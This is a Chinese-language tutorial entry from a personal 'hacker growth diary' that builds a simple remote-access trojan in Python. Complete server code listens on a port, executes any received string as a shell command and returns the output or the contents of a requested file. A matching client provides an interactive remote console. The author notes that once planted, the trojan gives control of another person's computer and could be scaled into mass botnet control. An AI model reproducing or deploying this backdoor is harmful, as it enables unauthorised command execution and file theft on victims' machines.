reference
1.0 黑客成長(zhǎng)日記
2.0入門網(wǎng)絡(luò)工具
3.0 工具合集
4.0知乎
5.0客戶端服務(wù)端
用socket寫一個(gè)簡(jiǎn)單木馬
并沒(méi)有,其實(shí)是需要服務(wù)端通力合作才能完成這個(gè)木馬,所以并沒(méi)有實(shí)操的那么強(qiáng),但是增進(jìn)理解。///其實(shí)是我理解的不對(duì),這個(gè)木馬有用啊,植入后能夠遠(yuǎn)程控制別人的電腦,這樣就可以實(shí)現(xiàn)了一個(gè)shell,如果全自動(dòng)大規(guī)??刂疲蔷褪侨怆u了。
在3.1節(jié),我們學(xué)習(xí)了socket編程的基礎(chǔ),可以實(shí)現(xiàn)基本的client和server端的編程。本節(jié)在此基礎(chǔ)上,實(shí)現(xiàn)client和server端的連接和交互,實(shí)現(xiàn)一個(gè)基本的木馬程序。該程序可以實(shí)現(xiàn)讀取服務(wù)端文件內(nèi)容發(fā)送給客戶端,或者執(zhí)行shell命令。
3.2.1 服務(wù)端
我們先按照之前的做法,創(chuàng)建server類,在start方法中完成服務(wù)器的啟動(dòng)和監(jiān)聽,并保持連接接收客戶端發(fā)送的數(shù)據(jù)。代碼如下:
def executeCommand(self, tcpCliSock, data): # 解析并執(zhí)行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):
#判斷是否是文件
filesize = str(os.path.getsize(message))
#獲取文件大小
print("文件大小為:",filesize)
tcpCliSock.send(filesize.encode())
#發(fā)送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("開始發(fā)送")
with open(message, "rb") as f:
#打開文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
for line in f.readlines():
tcpCliSock.send(line)
#發(fā)送文件內(nèi)容
else:
print(1)
tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
print(1)
except:
raise
3.2.2
下面代碼中有一些調(diào)優(yōu),主要是timeout上和對(duì)命令結(jié)果的處理。
全代碼-server
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 1024
def executeCommand(self, tcpCliSock, data): # 解析并執(zhí)行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):
#判斷是否是文件
filesize = str(os.path.getsize(message))
print("文件大小為:",filesize)
#獲取文件大小
tcpCliSock.send(filesize.encode())
#發(fā)送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("開始發(fā)送")
with open(message, "rb") as f:
#打開文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
for line in f.readlines():
tcpCliSock.send(line)
#發(fā)送文件內(nèi)容
else:
print("processing by shell")
data = os.popen(message).read().encode('utf-8')
tcpCliSock.send(('0001: '+str(len(data))).encode('utf-8'))
_ = tcpCliSock.recv(self.bufferSize)
res = tcpCliSock.send(data)
print(res)
# tcpCliSock.send(('0001'+str(os.system(message))).encode('UTF-8'))
except:
raise
def start(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#創(chuàng)建socket
try:
s.bind((self.ip, self.port)) # 綁定
# 把socket綁定到傳入的IP和端口上,調(diào)用bind方法,傳入ip和端口號(hào)。
s.listen(10)#監(jiān)聽
print('socket正在監(jiān)聽')
# 進(jìn)入監(jiān)聽狀態(tài),listen方法接收一個(gè)參數(shù),用來(lái)指定可以同時(shí)掛起的連接數(shù)。
print("s.family", s.family)
N = 5
while True:
# N -= 1
# if N == 4:
# break
try:
print('等待客戶端連接')
conn, addr = s.accept() # 接收連接
# accept方法會(huì)返回一個(gè)代表當(dāng)前鏈接的connection對(duì)象和客戶端的ip地址
print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
while True:
data = conn.recv(self.bufferSize) # 接收數(shù)據(jù)
print("客戶端數(shù)據(jù):%s" % data.decode('UTF-8'))
if not data:
break
else:
self.executeCommand(conn, data)
# conn.sendall(bytes("你好客戶端\n\r", encoding = "utf8")) # 發(fā)送數(shù)據(jù)
print("服務(wù)端消息發(fā)往客戶端成功")
conn.close()#關(guān)閉連接
except socket.error as e:
print(e)
sys.exit()
finally:
print("關(guān)閉服務(wù)器")
s.close() #關(guān)閉服務(wù)端
if __name__ == '__main__':
s = server('', 8008)
s.start()
在上面的代碼中,我們使用了連個(gè)while...true循環(huán),第一個(gè)用來(lái)接收新的連接,第二個(gè)是在當(dāng)前連接中保持連接,一直接收數(shù)據(jù)。此處我們假定客戶端發(fā)送的命令數(shù)據(jù)一定小于10240 byte,
ps:成功是成功了,可是在運(yùn)行一次后報(bào)錯(cuò)哦, 破案:是因?yàn)樵O(shè)定的10240--10K不夠用,我的哪個(gè)目錄文件比較大,需要循環(huán)發(fā)送,而本地又沒(méi)有給回復(fù)一個(gè)消息讓他繼續(xù)傳消息,所以說(shuō)被cli強(qiáng)迫關(guān)閉了,因?yàn)閏li不給反應(yīng)。
[WinError 10054] 遠(yuǎn)程主機(jī)強(qiáng)迫關(guān)閉了一個(gè)現(xiàn)有的連接
全代碼-cli
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
#測(cè)試類
class Client:
def __init__(self, host, ip=None, port=80, message=None):
self.host = host #待連接的遠(yuǎn)程主機(jī)的域名
self.ip = ip
self.port = port
self.msg = bytes(message, encoding='UTF-8') if message else None
self.bufferSize = 10240
self.timeout = 2 # 最長(zhǎng)2s的延遲等待
#
#
def change_msg(self, message):
self.msg = bytes(message, encoding='UTF-8')
#
#
def executeResult(self, data, message, s='socket'):
if re.search("^0001: ",data.decode('utf-8','ignore')):
#判斷數(shù)據(jù)類型為命令結(jié)果
file_total_size = int(data.decode('utf-8')[6:])#總大小
s.send("File size received".encode())#通知服務(wù)端可以發(fā)送文件了
received_size = 0
res = s.recv(self.bufferSize).decode('utf-8')
print(res)
if len(res) < file_total_size:
print("*"*10, "please increase your bufferSize", "*"*10)
else:
#判斷數(shù)據(jù)類型為文件內(nèi)容處理,data第一次收到的是文件的大小
s.send("File size received".encode())#通知服務(wù)端可以發(fā)送文件了
file_total_size = int(data.decode())#總大小
received_size = 0
with open("robot_" + os.path.split(message)[-1], "wb") as file:#創(chuàng)建文件
while received_size < file_total_size:
print("received_size:",received_size," / file_total_size:",file_total_size)
data = s.recv(self.bufferSize)
file.write(data)#寫文件
received_size += len(data)#累加接收長(zhǎng)度
print("已接收:", received_size)
print("receive done", file_total_size, " ", received_size)
#
#
def connect(self): #連接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
print('socket created')
except socket.error as e:
print("Failed to create socket. Error: %s"%e)
sys.exit() #退出進(jìn)程
try:
remote_ip = self.ip or socket.gethostbyname(self.host)#根據(jù)域名獲取ip
print("get domain by IP: ", remote_ip)
except socket.gaierror as e:
print('主機(jī)無(wú)法被解析:', e)
sys.exit() #退出進(jìn)程
try:
s.connect((remote_ip, self.port)) #連接
print('socket連接成功')
# message = self.msg or bytes("GET / HTTP/1.1\r\n\r\n", encoding="UTF-8")
# message = b"GET / HTTP/1.1\r\n\r\n"
# s.sendall(message) #發(fā)送數(shù)據(jù)
# print('發(fā)送數(shù)據(jù)成功')
# reply = s.recv(self.bufferSize) #接收數(shù)據(jù)
while True:
message = input('> ') # 接收用戶輸入
if not message:
continue
elif message == 'quit':
break
elif message == '':
continue
else:
s.send(bytes(message, 'utf-8'))#發(fā)送命令
print("successful Sending message")
reply = s.recv(self.bufferSize)
if reply:
self.executeResult(reply, message, s)
else:
break
print("original data", reply)
s.close() #關(guān)閉連接
except socket.error as e:
print("socket error")
print('發(fā)送數(shù)據(jù)失敗')
s.close() #關(guān)閉連接
raise e
print("thanks for using")
return
if __name__ == '__main__':
message = 'dir ..'
cl = Client('www.fuckme.com', '127.0.0.1', 8008, message)
# cl = Client('www.fuckme.com', '127.0.0.1', 8008, "**")
# cl = Client('www.woqunidaye.com')
# cl = Client('www.baidu.com')
cl.connect()
#cl.connect()